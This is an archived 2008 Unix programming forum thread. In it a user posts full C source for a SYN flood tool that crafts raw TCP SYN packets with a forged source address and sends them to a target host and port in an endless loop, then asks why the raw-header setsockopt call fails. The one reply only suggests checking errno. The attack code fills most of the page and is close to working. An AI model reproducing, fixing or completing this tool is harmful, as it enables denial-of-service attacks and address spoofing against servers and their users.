For Programmers: Free Programming Magazines  


Home > Archive > Unix Programming > March 2008 > A SYN Flood example`s error









You are viewing an archived Text-only version of the thread. To view this thread in it's original format and/or if you want to reply to this thread please [click here]

 

Author A SYN Flood example`s error
Erfan

2008-03-17, 7:22 pm

hi,this is a SYNFlood code below:
--------------------------------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
unsigned long srcport;

struct pseudohdr
{
struct in_addr dr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
int nleft=length;
int sum=0;
unsigned short *w=data;
unsigned short value=0;

while(nleft>1){
sum+=*w++;
nleft-=2;
}

if(nleft==1){
*(unsigned char *)(&value)=*(unsigned char *)w;
sum+=value;
}

sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
value=~sum;
return value;
}

int main(int argc ,char * argv[])
{
struct sockaddr_in sin;
struct sockaddr_in din;
struct hostent * hoste;
struct hostent * host1;
int j,sock,foo,flooddot=1;
char buffer[40];
struct ip* ipheader=(struct ip*) buffer;
struct tcphdr * tcpheader=(struct
tcphdr*)(buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;

fprintf(stderr,"Syn attack against one port,(Infinite)\n");
/*....*/
if(argc<4)
{
fprintf(stderr,"usage:%s \n",argv[0]);
return -1;
}

fprintf(stderr,"%s:%s is being syn'd attacked by
%s.\n",argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to
&sin*/
sin.sin_family=AF_INET;
if((host1=gethostbyname(argv[3]))!=NULL)

bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown source host %s\n",argv[3]);
return -1;
}

if((hoste=gethostbyname(argv[1]))!=NULL)

bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown destination host %s.\n",argv[1]);
return -1;
}

if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return -1;
}

/*......sockaddr_in................*/
if((sock=socket(AF_INET,SOCK_STREAM,0))=
=-1)
{
fprintf(stderr,"couldn't allocate raw socket!\n");
return -1;
}

foo=1;
/*...........*/
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL
,(int
*)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket
\n");
return -1;
}

for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30; /*255*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;

tcpheader->source=htons(srcport); /*sin.sin_port*/
tcpheader->dest=sin.sin_port;
tcpheader->seq=htonl(0x28374839);
tcpheader->syn=1;
tcpheader->doff=sizeof(struct tcphdr)/4;
tcpheader->window=htons(2048);
tcpheader->check=0;

bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.dr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
tcpheader->check=checksum((u_short
*)&pseudoheader,12+sizeof(struct tcphdr));
/*.......*/
/*....*/
srcport=(10000.0*random()/(15000+1.0));
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct
tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
sockaddr_in))==-1)
/*....*/
{
fprintf(stderr,"couldn't send packet %d \n",errno);
return -1;
}

usleep(2);
if(!(flooddot=(flooddot+1)%(1))){
fprintf(stdout,".");
fflush(stdout);
}
/*..........................
* {
* fprintf(stdout,".%4d",j);
* fflush(stdout);
* }
* int k=j;if((K%10)==0) printf("\n");
*/
} /*The end of the infinite loop */
close(sock);
return 0;
}

----------------------------
everytime,the code stop at
setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(i
nt *)&foo,sizeof(int))==-1.
I want to fabricate the source address ,and check it out in Richard
Stevens`s book.
In the setsockopt(), as i use IPPROTO_IP as level,and IP_HDRINCL as
the optioname.
In order to make every packets with IP head.
why this function returns -1,and how to make it in the right
way,who can explain it? :)
best wishes
Rainer Temme

2008-03-18, 8:13 am

Erfan wrote:
> In the setsockopt(), as i use IPPROTO_IP as level,and IP_HDRINCL as
> the optioname.
> In order to make every packets with IP head.
> why this function returns -1,and how to make it in the right
> way,who can explain it? :)



Its always a good idea to have a look at errno after a function failed.
Sponsored Links







Also available: Server administration forum archive | Web Design forum archive | Software forum archive | Hardware reviews archive

Copyright 2008 codecomments.com